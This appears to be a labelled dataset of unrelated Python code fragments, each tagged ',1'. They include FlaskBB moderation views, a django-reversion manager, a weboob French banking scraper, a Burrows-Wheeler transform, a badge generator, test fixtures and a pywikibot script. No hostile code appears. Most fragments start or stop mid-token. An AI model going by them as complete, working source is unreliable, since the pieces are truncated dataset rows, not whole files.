ban_user(user_id=None): if not Permission(CanBanUser, identity=current_user): flash(_(""You do not have the permissions to ban this user.""), ""danger"") return redirect(url_for(""management.overview"")) # ajax request if request.is_xhr: ids = request.get_json()[""ids""] data = [] users = User.query.filter(User.id.in_(ids)).all() for user in users: # don't let a user ban himself and do not allow a moderator to ban # a admin user if ( current_user.id == user.id or Permission(IsAdmin, identity=user) and Permission(Not(IsAdmin), current_user) ): continue elif user.ban(): data.append({ ""id"": user.id, ""type"": ""ban"", ""reverse"": ""unban"", ""reverse_name"": _(""Unban""), ""reverse_url"": url_for(""management.unban_user"", user_id=user.id) }) return jsonify( message=""{} users banned."".format(len(data)), category=""success"", data=data, status=200 ) user = User.query.filter_by(id=user_id).first_or_404() # Do not allow moderators to ban admins if Permission(IsAdmin, identity=user) and \ Permission(Not(IsAdmin), identity=current_user): flash(_(""A moderator cannot ban an admin user.""), ""danger"") return redirect(url_for(""management.overview"")) if not current_user.id == user.id and user.ban(): flash(_(""User is now banned.""), ""success"") else: flash(_(""Could not ban user.""), ""danger"") return redirect(url_for(""management.banned_users"")) @management.route(""/users/unban"", methods=[""POST""]) @management.route(""/users//unban"", methods=[""POST""]) @allows.requires(IsAtleastModerator) def unban_user(user_id=None): if not Permission(CanBanUser, identity=current_user): flash(_(""You do not have the permissions to unban this user.""), ""danger"") return redirect(url_for(""management.overview"")) # ajax request if request.is_xhr: ids = request.get_json()[""ids""] data = [] for user in User.query.filter(User.id.in_(ids)).all(): if user.unban(): data.append({ ""id"": user.id, ""type"": ""unban"", ""reverse"": ""ban"", ""reverse_name"": _(""Ban""), ""reverse_url"": url_for(""management.ban_user"", user_id=user.id) }) return jsonify( message=""{} users unbanned."".format(len(data)), category=""success"", data=data, status=200 ) user = User.query.filter_by(id=user_id).first_or_404() if user.unban(): flash(_(""User is now unbanned.""), ""success"") else: flash(_(""Could not unban user.""), ""danger"") return redirect(url_for(""management.banned_users"")) # Reports @management.route(""/reports"") @allows.requires(IsAtleastModerator) def reports(): page = request.args.get(""page"", 1, type=int) reports = Report.query.\ order_by(Report.id.asc()).\ paginate(page, flaskbb_config['USERS_PER_PAGE'], False) return render_template(""management/reports.html"", reports=reports) @management.route(""/reports/unread"") @allows.requires(IsAtleastModerator) def unread_reports(): page = request.args.get(""page"", 1, type=int) reports = Report.query.\ filter(Report.zapped == None).\ order_by(Report.id.desc()).\ paginate(page, flaskbb_config['USERS_PER_PAGE'], False) return render_template(""management/unread_reports.html"", reports=reports) @management.route(""/reports//markread"", methods=[""POST""]) @management.route(""/reports/markread"", methods=[""POST""]) @allows.requires(IsAtleastModerator) def report_markread(report_id=None): # AJAX request if request.is_xhr: ids = request.get_json()[""ids""] data = [] for report in Report.query.filter(Report.id.in_(ids)).all(): report.zapped_by = current_user.id report.zapped = time_utcnow() report.save() data.append({ ""id"": report.id, ""type"": ""read"", ""reverse"": False, ""reverse_name"": None, ""reverse_url"": None }) return jsonify( message=""{} reports marked as read."".format(len(data)), category=""success"", data=data, status=200 ) # mark single report as read if report_id: report = Report.query.filter_by(id=report_id).first_or_404() if report.zapped: flash(_(""Report %(id)s is already marked as read."", id=report.id), ""success"") return redirect(url_for(""management.reports"")) report.zapped_by = current_user.id report.zapped = time_utcnow() report.save() flash(_(""Report %(id)s marked as read."", id=report.id), ""success"") return redirect(url_for(""management.reports"")) # mark all as read reports = Report.query.filter(Report.zapped == None).all() report_list = [] for report in reports: report.zapped_by = current_user.id report.zapped = time_utcnow() report_list.append(report) db.session.add_all(report_list) db.session.commit() flash(_(""All reports were marked as read.""), ""success"") return redirect(url_for(""management.reports"")) # Groups @management.route(""/groups"") @allows.requires(IsAdmin) def groups(): page = request.args.get(""page"", 1, type=int) groups = Group.query.\ order_by(Group.id.asc()).\ paginate(page, flaskbb_config['USERS_PER_PAGE'], False) return render_template(""management/groups.html"", groups=groups) @management.route(""/groups//edit"", methods=[""GET"", ""POST""]) @allows.requires(IsAdmin) def edit_group(group_id): group = Group.query.filter_by(id=group_id).first_or_404() form = EditGroupForm(group) if form.validate_on_submit(): form.populate_obj(group) group.save() if group.guest: Guest.invalidate_cache() flash(_(""Group updated.""), ""success"") return redirect(url_for(""management.groups"", group_id=group.id)) return render_template(""management/group_form.html"", form=form, title=_(""Edit Group"")) @management.route(""/groups//delete"", methods=[""POST""]) @management.route(""/groups/delete"", methods=[""POST""]) @allows.requires(IsAdmin) def delete_group(group_id=None): if request.is_xhr: ids = request.get_json()[""ids""] if not (set(ids) & set([""1"", ""2"", ""3"", ""4"", ""5""])): data = [] for group in Group.query.filter(Group.id.in_(ids)).all(): group.delete() data.append({ ""id"": group.id, ""type"": ""delete"", ""reverse"": False, ""reverse_name"": None, ""reverse_url"": None }) return jsonify( message=""{} groups deleted."".format(len(data)), category=""success"", data=data, status=200 ) return jsonify( message=_(""You cannot delete one of the standard groups.""), category=""danger"", data=None, status=404 ) if group_id is not None: if group_id <= 5: # there are 5 standard groups flash(_(""You cannot delete the standard groups. "" ""Try renaming it instead."", ""danger"")) return redirect(url_for(""management.groups"")) group = Group.query.filter_by(id=group_id).first_or_404() group.delete() flash(_(""Group deleted.""), ""success"") return redirect(url_for(""management.groups"")) flash(_(""No group chosen.""), ""danger"") return redirect(url_for(""management.groups"")) @management.route(""/groups/add"", methods=[""GET"", ""POST""]) @allows.requires(IsAdmin) def add_group(): form = AddGroupForm() if form.validate_on_submit(): form.save() flash(_(""Group added.""), ""success"") return redirect(url_for(""management.groups"")) return render_template(""management/group_form.html"", form=form, title=_(""Add Group"")) # Forums and Categories @management.route(""/forums"") @allows.requires(IsAdmin) def forums(): categories = Category.query.order_by(Category.position.asc()).all() return render_template(""management/forums.html"", categories=categories) @management.route(""/forums//edit"", methods=[""GET"", ""POST""]) @allows.requires(IsAdmin) def edit_forum(forum_id): forum = Forum.query.filter_by(id=forum_id).first_or_404() form = EditForumForm(forum) if form.validate_on_submit(): form.save() flash(_(""Forum updated.""), ""success"") return redirect(url_for(""management.edit_forum"", forum_id=forum.id)) else: if forum.moderators: form.moderators.data = "","".join([ user.username for user in forum.moderators ]) else: form.moderators.data = None return render_template(""management/forum_form.html"", form=form, title=_(""Edit Forum"")) @management.route(""/forums//delete"", methods=[""POST""]) @allows.requires(IsAdmin) def delete_forum(forum_id): forum = Forum.query.filter_by(id=forum_id).first_or_404() involved_users = User.query.filter(Topic.forum_id == forum.id, Post.user_id == User.id).all() forum.delete(involved_users) flash(_(""Forum deleted.""), ""success"") return redirect(url_for(""management.forums"")) @management.route(""/forums/add"", methods=[""GET"", ""POST""]) @management.route(""/forums//add"", methods=[""GET"", ""POST""]) @allows.requires(IsAdmin) def add_forum(category_id=None): form = AddForumForm() if form.validate_on_submit(): form.save() flash(_(""Forum added.""), ""success"") return redirect(url_for(""management.forums"")) else: form.groups.data = Group.query.order_by(Group.id.asc()).all() if category_id: category = Category.query.filter_by(id=category_id).first() form.category.data = category return render_template(""management/forum_form.html"", form=form, title=_(""Add Forum"")) @management.route(""/category/add"", methods=[""GET"", ""POST""]) @allows.requires(IsAdmin) def add_category(): form = CategoryForm() if form.validate_on_submit(): form.save() flash(_(""Category added.""), ""success"") return redirect(url_for(""management.forums"")) return render_template(""management/category_form.html"", form=form, title=_(""Add Category"")) @management.route(""/category//edit"", methods=[""GET"", ""POST""]) @allows.requires(IsAdmin) def edit_category(category_id): category = Category.query.filter_by(id=category_id).first_or_404() form = CategoryForm(obj=category) if form.validate_on_submit(): form.populate_obj(category) flash(_(""Category updated.""), ""success"") category.save() return render_template(""management/category_form.html"", form=form, title=_(""Edit Category"")) @management.route(""/category//delete"", methods=[""POST""]) @allows.requires(IsAdmin) def delete_category(category_id): category = Category.query.filter_by(id=category_id).first_or_404() involved_users = User.query.filter(Forum.category_id == category.id, Topic.forum_id == Forum.id, Post.user_id == User.id).all() category.delete(involved_users) flash(_(""Category with all associated forums deleted.""), ""success"") return redirect(url_for(""management.forums"")) # Plugins @management.route(""/plugins"") @allows.requires(IsAdmin) def plugins(): plugins = get_all_plugins() return render_template(""management/plugins.html"", plugins=plugins) @management.route(""/plugins//enable"", methods=[""POST""]) @allows.requires(IsAdmin) def enable_plugin(plugin): plugin = get_plugin_from_all(plugin) if plugin.enabled: flash(_(""Plugin %(plugin)s is already enabled."", plugin=plugin.name), ""info"") return redirect(url_for(""management.plugins"")) try: plugin.enable() flash(_(""Plugin %(plugin)s enabled. Please restart FlaskBB now."", plugin=plugin.name), ""success"") except OSError: flash(_(""It seems that FlaskBB does not have enough filesystem "" ""permissions. Try removing the 'DISABLED' file by "" ""yourself instead.""), ""danger"") return redirect(url_for(""management.plugins"")) @management.route(""/plugins//disable"", methods=[""POST""]) @allows.requires(IsAdmin) def disable_plugin(plugin): try: plugin = get_plugin(plugin) except KeyError: flash(_(""Plugin %(plugin)s not found."", plugin=plugin.name), ""danger"") return redirect(url_for(""management.plugins"")) try: plugin.disable() flash(_(""Plugin %(plugin)s disabled. Please restart FlaskBB now."", plugin=plugin.name), ""success"") except OSError: flash(_(""It seems that FlaskBB does not have enough filesystem "" ""permissions. Try creating the 'DISABLED' file by "" ""yourself instead.""), ""danger"") return redirect(url_for(""management.plugins"")) @management.route(""/plugins//uninstall"", methods=[""POST""]) @allows.requires(IsAdmin) def uninstall_plugin(plugin): plugin = get_plugin_from_all(plugin) if plugin.uninstallable: plugin.uninstall() Setting.invalidate_cache() flash(_(""Plugin has been uninstalled.""), ""success"") else: flash(_(""Cannot uninstall plugin.""), ""danger"") return redirect(url_for(""management.plugins"")) @management.route(""/plugins//install"", methods=[""POST""]) @allows.requires(IsAdmin) def install_plugin(plugin): plugin = get_plugin_from_all(plugin) if plugin.installable and not plugin.uninstallable: plugin.install() Setting.invalidate_cache() flash(_(""Plugin has been installed.""), ""success"") else: flash(_(""Cannot install plugin.""), ""danger"") return redirect(url_for(""management.plugins"")) ",1 "nttypes.models import ContentType from django.db import models class VersionManager(models.Manager): """"""Manager for Version models."""""" def get_for_object(self, object): """"""Returns all the versions of the given Revision, ordered by date created."""""" content_type = ContentType.objects.get_for_model(object) return self.filter(content_type=content_type, object_id=unicode(object.pk)).order_by(""pk"").select_related().order_by(""pk"") def get_unique_for_object(self,obj): """"""Returns unique versions associated with the object."""""" versions = self.get_for_object(obj) changed_versions = [] known_serialized_data = set() for version in versions: serialized_data = version.serialized_data if serialized_data in known_serialized_data: continue known_serialized_data.add(serialized_data) changed_versions.append(version) return changed_versions def get_for_date(self, object, date): """"""Returns the latest version of an object for the given date."""""" try: return self.get_for_object(object).filter(revision__date_created__lte=date).order_by(""-pk"")[0] except IndexError: raise self.model.DoesNotExist def get_deleted(self, model_class): """"""Returns all the deleted versions for the given model class."""""" live_ids = [unicode(row[0]) for row in model_class._default_manager.all().values_list(""pk"")] content_type = ContentType.objects.get_for_model(model_class) deleted_ids = self.filter(content_type=content_type).exclude(object_id__in=live_ids).order_by().values_list(""object_id"").distinct() deleted = [] for object_id, in deleted_ids: deleted.append(self.get_deleted_object(model_class, object_id)) return deleted def get_deleted_object(self, model_class, object_id): """""" Returns the version corresponding to the deletion of the object with the given id. """""" try: content_type = ContentType.objects.get_for_model(model_class) return self.filter(content_type=content_type, object_id=unicode(object_id)).order_by(""-pk"").select_related()[0] except IndexError: raise self.model.DoesNotExist",1 "redistribute it and/or modify # it under the terms of the GNU Lesser General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This weboob module is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with this weboob module. If not, see . import re import json from datetime import datetime from weboob.browser.pages import LoggedPage, HTMLPage, JsonPage from weboob.browser.elements import DictElement, ItemElement, method from weboob.browser.filters.standard import Date, CleanDecimal, CleanText, Format, Field, Env, Regexp, Currency from weboob.browser.filters.json import Dict from weboob.capabilities import NotAvailable from weboob.capabilities.bank import Account, Loan from weboob.capabilities.contact import Advisor from weboob.capabilities.profile import Profile from weboob.capabilities.bill import DocumentTypes, Subscription, Document from weboob.tools.capabilities.bank.transactions import FrenchTransaction from weboob.exceptions import BrowserUnavailable class Transaction(FrenchTransaction): PATTERNS = [ (re.compile(r'^CB (?P.*?) FACT (?P
    \d{2})(?P\d{2})(?P\d{2})', re.IGNORECASE), FrenchTransaction.TYPE_CARD), (re.compile(r'^RET(RAIT)? DAB (?P
    \d+)-(?P\d+)-.*', re.IGNORECASE), FrenchTransaction.TYPE_WITHDRAWAL), (re.compile(r'^RET(RAIT)? DAB (?P.*?) (?P
    \d{2})(?P\d{2})(?P\d{2}) (?P\d{2})H(?P\d{2})', re.IGNORECASE), FrenchTransaction.TYPE_WITHDRAWAL), (re.compile(r'^VIR(EMENT)?(\.PERIODIQUE)? (?P.*)', re.IGNORECASE), FrenchTransaction.TYPE_TRANSFER), (re.compile(r'^PRLV (?P.*)', re.IGNORECASE), FrenchTransaction.TYPE_ORDER), (re.compile(r'^CHEQUE.*', re.IGNORECASE), FrenchTransaction.TYPE_CHECK), (re.compile(r'^(CONVENTION \d+ )?COTIS(ATION)? (?P.*)', re.IGNORECASE), FrenchTransaction.TYPE_BANK), (re.compile(r'^\* (?P.*)', re.IGNORECASE), FrenchTransaction.TYPE_BANK), (re.compile(r'^REMISE (?P.*)', re.IGNORECASE), FrenchTransaction.TYPE_DEPOSIT), (re.compile(r'^(?P.*)( \d+)? QUITTANCE .*', re.IGNORECASE), FrenchTransaction.TYPE_ORDER), (re.compile(r'^CB [\d\*]+ TOT DIF .*', re.IGNORECASE), FrenchTransaction.TYPE_CARD_SUMMARY), (re.compile(r'^CB [\d\*]+ (?P.*)', re.IGNORECASE), FrenchTransaction.TYPE_CARD), (re.compile(r'^CB (?P.*?) (?P
    \d{2})(?P\d{2})(?P\d{2})', re.IGNORECASE), FrenchTransaction.TYPE_CARD), (re.compile(r'\*CB (?P.*?) (?P
    \d{2})(?P\d{2})(?P\d{2})', re.IGNORECASE), FrenchTransaction.TYPE_CARD), (re.compile(r'^FAC CB (?P.*?) (?P
    \d{2})/(?P\d{2})', re.IGNORECASE), FrenchTransaction.TYPE_CARD), ] class LoginPage(JsonPage): def get_response(self): return self.doc class CenetLoginPage(HTMLPage): def login(self, username, password, nuser, codeCaisse, _id, vkpass): form = self.get_form(id='aspnetForm') form['__EVENTTARGET'] = ""btn_authentifier_securise"" form['__EVENTARGUMENT'] = '{""CodeCaisse"":""%s"",""NumeroBad"":""%s"",""NumeroUsager"":""%s"",\ ""MotDePasse"":""%s"",""IdentifiantClavier"":""%s"",""ChaineConnexion"":""%s""}' \ % (codeCaisse, username, nuser, password, _id, vkpass) form.submit() class CenetHomePage(LoggedPage, HTMLPage): @method class get_advisor(ItemElement): klass = Advisor obj_name = CleanText('//section[contains(@id, ""ChargeAffaires"")]//strong') obj_email = CleanText('//li[contains(@id, ""MailContact"")]') obj_phone = CleanText('//li[contains(@id, ""TelAgence"")]', replace=[('.', '')]) obj_mobile = NotAvailable obj_agency = CleanText('//section[contains(@id, ""Agence"")]//strong') obj_address = CleanText('//li[contains(@id, ""AdresseAgence"")]') def obj_fax(self): return CleanText('//li[contains(@id, ""FaxAgence"")]', replace=[('.', '')])(self) or NotAvailable @method class get_profile(ItemElement): klass = Profile obj_name = CleanText('//li[@class=""identite""]/a/span') class CenetJsonPage(JsonPage): def __init__(self, browser, response, *args, **kwargs): super(CenetJsonPage, self).__init__(browser, response, *args, **kwargs) # Why you are so ugly.... self.doc = json.loads(self.doc['d']) if self.doc['Erreur'] and (self.doc['Erreur']['Titre'] or self.doc['Erreur']['Code']): self.logger.warning('error on %r: %s', self.url, self.doc['Erreur']['Titre'] or self.doc['Erreur']['Code']) raise BrowserUnavailable(self.doc['Erreur']['Titre'] or self.doc['Erreur']['Description']) self.doc['DonneesSortie'] = json.loads(self.doc['DonneesSortie']) class CenetAccountsPage(LoggedPage, CenetJsonPage): ACCOUNT_TYPES = {'CCP': Account.TYPE_CHECKING} @method class get_accounts(DictElement): item_xpath = ""DonneesSortie"" class item(ItemElement): klass = Account obj_id = CleanText(Dict('Numero')) obj_label = CleanText(Dict('Intitule')) obj_iban = CleanText(Dict('IBAN')) def obj_balance(self): absolut_amount = CleanDecimal(Dict('Solde/Valeur'))(self) if CleanText(Dict('Solde/CodeSens'))(self) == 'D': return -absolut_amount return absolut_amount def obj_currency(self): return CleanText(Dict('Devise'))(self).upper() def obj_type(self): return self.page.ACCOUNT_TYPES.get(Dict('TypeCompte')(self), Account.TYPE_UNKNOWN) def obj__formated(self): return self.el class CenetLoanPage(LoggedPage, CenetJsonPage): @method class get_accounts(DictElement): item_xpath = ""DonneesSortie"" class item(ItemElement): klass = Loan obj_id = CleanText(Dict('IdentifiantUniqueContrat'), replace=[(' ', '-')]) obj_label = CleanText(Dict('Libelle')) obj_total_amount = CleanDecimal(Dict('MontantInitial/Valeur')) obj_currency = Currency(Dict('MontantInitial/Devise')) obj_type = Account.TYPE_LOAN obj_duration = CleanDecimal(Dict('Duree')) obj_rate = CleanDecimal.French(Dict('Taux')) obj_next_payment_amount = CleanDecimal(Dict('MontantProchaineEcheance/Valeur')) def obj_balance(self): balance = CleanDecimal(Dict('CapitalRestantDu/Valeur'))(self) if balance > 0: balance *= -1 return balance def obj_subscription_date(self): sub_date = Dict('DateDebutEffet')(self) if sub_date: date = CleanDecimal().filter(sub_date) / 1000 return datetime.fromtimestamp(date).date() return NotAvailable def obj_maturity_date(self): mat_date = Dict('DateDerniereEcheance')(self) if mat_date: date = CleanDecimal().filter(mat_date) / 1000 return datetime.fromtimestamp(date).date() return NotAvailable def obj_next_payment_date(self): next_date = Dict('DateProchaineEcheance')(self) if next_date: date = CleanDecimal().filter(next_date) / 1000 return datetime.fromtimestamp(date).date() return NotAvailable class CenetCardsPage(LoggedPage, CenetJsonPage): def get_cards(self): cards = Dict('DonneesSortie')(self.doc) # Remove dates to prevent bad parsing def reword_dates(card): tmp_card = card for k, v in tmp_card.items(): if isinstance(v, dict): v = reword_dates(v) if k == ""Date"" and v is not None and ""Date"" in v: card[k] = None for card in cards: reword_dates(card) return cards class CenetAccountHistoryPage(LoggedPage, CenetJsonPage): TR_TYPES_LABEL = { 'VIR': Transaction.TYPE_TRANSFER, 'CHEQUE': Transaction.TYPE_CHECK, 'REMISE CHEQUE': Transaction.TYPE_CASH_DEPOSIT, 'PRLV': Transaction.TYPE_ORDER, } TR_TYPES_API = { 'VIR': Transaction.TYPE_TRANSFER, 'PE': Transaction.TYPE_ORDER, # PRLV 'CE': Transaction.TYPE_CHECK, # CHEQUE 'DE': Transaction.TYPE_CASH_DEPOSIT, # APPRO 'PI': Transaction.TYPE_CASH_DEPOSIT, # REMISE CHEQUE } @method class get_history(DictElement): item_xpath = ""DonneesSortie"" class item(ItemElement): klass = Transaction obj_raw = Format('%s %s', Dict('Libelle'), Dict('Libelle2')) obj_label = CleanText(Dict('Libelle')) obj_date = Date(Dict('DateGroupImputation'), dayfirst=True) obj_rdate = Date(Dict('DateGroupReglement'), dayfirst=True) def obj_type(self): ret = Transaction.TYPE_UNKNOWN # The API may send the same key for 'PRLV' and 'VIR' transactions # So the label is checked first, then the API key for k, v in self.page.TR_TYPES_LABEL.items(): if Field('label')(self).startswith(k): ret = v break if ret == Transaction.TYPE_UNKNOWN: ret = self.page.TR_TYPES_API.get(Dict('TypeOperationDisplay')(self), Transaction.TYPE_UNKNOWN) if ret != Transaction.TYPE_UNKNOWN: return ret for pattern, type in Transaction.PATTERNS: if pattern.match(Field('raw')(self)): return type return Transaction.TYPE_UNKNOWN def obj_amount(self): amount = CleanDecimal(Dict('Montant/Valeur'))(self) return -amount if Dict('Montant/CodeSens')(self) == ""D"" else amount def next_offset(self): offset = Dict('OffsetSortie')(self.doc) if offset: assert Dict('EstComplete')(self.doc) == 'false' return offset class CenetCardSummaryPage(LoggedPage, CenetJsonPage): @method class get_history(DictElement): item_xpath = ""DonneesSortie/OperationsCB"" class item(ItemElement): klass = Transaction obj_label = CleanText(Dict('Libelle')) obj_date = Date(Dict('DateGroupImputation'), dayfirst=True) obj_type = Transaction.TYPE_DEFERRED_CARD def obj_raw(self): label = Dict('Libelle')(self) label2 = Dict('Libelle2')(self) if label2 and label2 != 'None': return '%s %s' % (label, label2) else: return label def obj_rdate(self): rdate = re.search('(FACT\s)(\d{6})', Field('label')(self)) if rdate.group(2): return Date(dayfirst=True).filter(rdate.group(2)) return NotAvailable def obj_amount(self): amount = CleanDecimal(Dict('Montant/Valeur'))(self) return -amount if Dict('Montant/CodeSens')(self) == ""D"" else amount class _LogoutPage(HTMLPage): def on_load(self): raise BrowserUnavailable(CleanText('//*[@class=""messErreur""]')(self.doc)) class ErrorPage(_LogoutPage): pass class UnavailablePage(HTMLPage): def on_load(self): raise BrowserUnavailable(CleanText('//div[@id=""message_error_hs""]')(self.doc)) class SubscriptionPage(LoggedPage, CenetJsonPage): @method class iter_subscription(DictElement): item_xpath = 'DonneesSortie' class item(ItemElement): klass = Subscription obj_id = CleanText(Dict('Numero')) obj_label = CleanText(Dict('Intitule')) obj_subscriber = Env('subscriber') @method class iter_documents(DictElement): item_xpath = 'DonneesSortie' class item(ItemElement): klass = Document obj_id = Format('%s_%s_%s', Env('sub_id'), Dict('Numero'), CleanText(Env('french_date'), symbols='/')) obj_format = 'pdf' obj_type = DocumentTypes.OTHER obj__numero = CleanText(Dict('Numero')) obj__sub_id = Env('sub_id') obj__sub_label = Env('sub_label') obj__download_id = CleanText(Dict('IdDocument')) def obj_date(self): date = Regexp(Dict('DateArrete'), r'Date\((\d+)\)')(self) date = int(date) // 1000 return datetime.fromtimestamp(date).date() def obj_label(self): return '%s %s' % (CleanText(Dict('Libelle'))(self), Env('french_date')(self)) def parse(self, el): self.env['french_date'] = Field('date')(self).strftime('%d/%m/%Y') class DownloadDocumentPage(LoggedPage, HTMLPage): def download_form(self, document): data = { 'Numero': document._numero, 'Libelle': document._sub_label.replace(' ', '+'), 'DateArrete': '', 'IdDocument': document._download_id } form = self.get_form(id='aspnetForm') form['__EVENTTARGET'] = 'btn_telecharger' form['__EVENTARGUMENT'] = json.dumps(data) return form.submit() ",1 "dices The text is assumed to not contain the character $"""""" text += ""$"" all_permutations = [] for i in range(len(text)): all_permutations.append((text[i:] + text[:i],i)) all_permutations.sort() bw_l = [] # burrows wheeler as list sa_i = [] # suffix array indices for w,j in all_permutations: bw_l.append(w[-1]) sa_i.append(j) return """".join(bw_l), sa_i ",1 "95, 18) def hex_colour(hex): if hex[0] == '#': hex = hex[1:] return ( int(hex[:2], 16), int(hex[2:4], 16), int(hex[4:6], 16), ) BACKGROUND = hex_colour('#4A4A4A') SUCCESS = hex_colour('#94B944') WARNING = hex_colour('#E4A83C') ERROR = hex_colour('#B10610') SUCCESS_CUTOFF = 85 WARNING_CUTOFF = 45 FONT = ImageFont.truetype(size=10, filename=""/Library/Fonts/Arial.ttf"") FONT_SHADOW = hex_colour('#525252') PADDING_TOP = 3 def build_image(percentage, colour): image = Image.new('RGB', SIZE, color=BACKGROUND) drawing = ImageDraw.Draw(image) drawing.rectangle([(55, 0), SIZE], colour, colour) drawing.text((8, PADDING_TOP+1), 'coverage', font=FONT, fill=FONT_SHADOW) drawing.text((7, PADDING_TOP), 'coverage', font=FONT) drawing.text((63, PADDING_TOP+1), '%s%%' % percentage, font=FONT, fill=FONT_SHADOW) drawing.text((62, PADDING_TOP), '%s%%' % percentage, font=FONT) return image os.chdir('_build') for i in range(101): filename = '%i.png' % i file = open(filename, 'wb') if i < WARNING_CUTOFF: build_image(i, ERROR).save(file) elif i < SUCCESS_CUTOFF: build_image(i, WARNING).save(file) else: build_image(i, SUCCESS).save(file) ",1 ".be/hpc/en), # with support of Ghent University (http://ugent.be/hpc), # the Flemish Supercomputer Centre (VSC) (https://www.vscentrum.be), # the Flemish Research Foundation (FWO) (http://www.fwo.be/en) # and the Department of Economy, Science and Innovation (EWI) (http://www.ewi-vlaanderen.be/en). # # https://github.com/hpcugent/vsc-mympirun # # vsc-mympirun is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation v2. # # vsc-mympirun is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with vsc-mympirun. If not, see . # """""" End-to-end tests for mypmirun """""" import os import logging logging.basicConfig(level=logging.DEBUG) from pmi_utils import PMITest from vsc.utils.affinity import sched_getaffinity, sched_setaffinity class TaskPrologEnd2End(PMITest): def setUp(self): """"""Prepare to run test."""""" super(TaskPrologEnd2End, self).setUp() self.script = os.path.join(os.path.dirname(self.script), 'mytaskprolog.py') def test_simple(self): origaff = sched_getaffinity() aff = sched_getaffinity() aff.set_bits([1]) # only use first core (we can always assume there is one core sched_setaffinity(aff) self.pmirun([], pattern='export CUDA_VISIBLE_DEVICES=0') # restore sched_setaffinity(origaff) ",1 "ces.datatables import Difficulty from resources.datatables import Options from java.util import Vector def addTemplate(core): mobileTemplate = MobileTemplate() mobileTemplate.setCreatureName('tatooine_opening_jano') mobileTemplate.setLevel(1) mobileTemplate.setDifficulty(Difficulty.NORMAL) mobileTemplate.setSocialGroup(""township"") mobileTemplate.setOptionsBitmask(Options.INVULNERABLE | Options.CONVERSABLE) templates = Vector() templates.add('object/mobile/shared_dressed_tatooine_opening_jano.iff') mobileTemplate.setTemplates(templates) weaponTemplates = Vector() weapontemplate = WeaponTemplate('object/weapon/melee/unarmed/shared_unarmed_default.iff', WeaponType.UNARMED, 1.0, 6, 'kinetic') weaponTemplates.add(weapontemplate) mobileTemplate.setWeaponTemplateVector(weaponTemplates) attacks = Vector() mobileTemplate.setDefaultAttack('creatureMeleeAttack') mobileTemplate.setAttacks(attacks) core.spawnService.addMobileTemplate('jano', mobileTemplate) return",1 "ons import db class BaseTestCase(flask_testing.TestCase): DB_FILE = tempfile.mkstemp() SQLALCHEMY_DATABASE_URI = ""sqlite:///"" + DB_FILE[1] LOGGING = {""version"": 1} TESTING = True WTF_CSRF_ENABLED = False USER_ENABLE_LOGIN_WITHOUT_CONFIRM = True def create_app(self): ret = iis.create_app(self.__class__) app = ret[0] self.user_manager = ret[1] return app def setUp(self): db.create_all() self.create_user(""admin"", ""passW1"") def tearDown(self): db.session.remove() db.drop_all() def login(self, username=None, password=None): username = username or ""admin"" password = password or ""passW1"" self.client.post(url_for('user.login'), data=dict( username=username, password=password ), follow_redirects=False) return User.query.filter_by(username=username).one() def logout(self): self.client.get(url_for(""user.logout"")) def create_user(self, username, password): user = User(username=username, password=self.user_manager.hash_password(password), email=username + ""@localhost"", confirmed_at=datetime.fromtimestamp(0.0), active=True) db.session.add(user) db.session.commit() return user def assertLoginRequired(self, url): self.logout() res = self.client.get(url) self.assertEqual(302, res.status_code) self.assertIn(url_for('user.login'), res.headers['Location']) ",1 "i: * If the page contains no categories, you can specify a list of categories to add to the page. * If the page already contains one or more categories, you can specify a new list of categories to replace the current list of categories of the page. Usage: python pwb.py catall [start] If no starting name is provided, the bot starts at 'A'. Options: -onlynew : Only run on pages that do not yet have a category. """""" # # (C) Rob W.W. Hooft, Andre Engels, 2004 # (C) Pywikibot team, 2004-2014 # # Distributed under the terms of the MIT license. # from __future__ import absolute_import, unicode_literals __version__ = '$Id$' # import pywikibot from pywikibot import i18n, textlib from pywikibot.bot import QuitKeyboardInterrupt def choosecats(pagetext): """"""Coose categories."""""" chosen = [] done = False length = 1000 # TODO: → input_choice pywikibot.output(""""""Give the new categories, one per line. Empty line: if the first, don't change. Otherwise: Ready. -: I made a mistake, let me start over. ?: Give the text of the page with GUI. ??: Give the text of the page in console. xx: if the first, remove all categories and add no new. q: quit."""""") while not done: choice = pywikibot.input(u""?"") if choice == """": done = True elif choice == ""-"": chosen = choosecats(pagetext) done = True elif choice == ""?"": from pywikibot import editor as editarticle editor = editarticle.TextEditor() editor.edit(pagetext) elif choice == ""??"": pywikibot.output(pagetext[0:length]) length = length + 500 elif choice == ""xx"" and chosen == []: chosen = None done = True elif choice == ""q"": raise QuitKeyboardInterrupt else: chosen.append(choice) return chosen def make_categories(page, list, site=None): """"""Make categories."""""" if site is None: site = pywikibot.Site() pllist = [] for p in list: cattitle = ""%s:%s"" % (site.namespaces.CATEGORY, p) pllist.append(pywikibot.Page(site, cattitle)) page.put_async(textlib.replaceCategoryLinks(page.get(), pllist, site=page.site), summary=i18n.twtranslate(site, 'catall-changing')) def main(*args): """""" Process command line arguments and perform task. If args is an empty list, sys.argv is used. @param args: command line arguments @type args: list of unicode """""" docorrections = True start = 'A' local_args = pywikibot.handle_args(args) for arg in local_args: if arg == '-onlynew': docorrections = False else: start = arg mysite = pywikibot.Site() for p in mysite.allpages(start=start): try: text = p.get() cats = p.categories() if not cats: pywikibot.output(u""========== %s =========="" % p.title()) pywikibot.output('No categories') pywikibot.output('-' * 40) newcats = choosecats(text) if newcats != [] and newcats is not None: make_categories(p, newcats, mysite) elif docorrections: pywikibot.output(u""========== %s =========="" % p.title()) for c in cats: pywikibot.output(c.title()) pywikibot.output('-' * 40) newcats = choosecats(text) if newcats is None: make_categories(p, [], mysite) elif newcats != []: make_categories(p, newcats, mysite) except pywikibot.IsRedirectPage: pywikibot.output(u'%s is a redirect' % p.title()) if __name__ == ""__main__"": try: main() except KeyboardInterrupt: pywikibot.output('\nQuitting program...') ",1 "rement import sweep_functions as swf from pycqed.measurement import detector_functions as det MC_instr = None VNA_instr = None def acquire_single_linear_frequency_span(file_name, start_freq=None, stop_freq=None, center_freq=None, span=None, nr_avg=1, sweep_mode='auto', 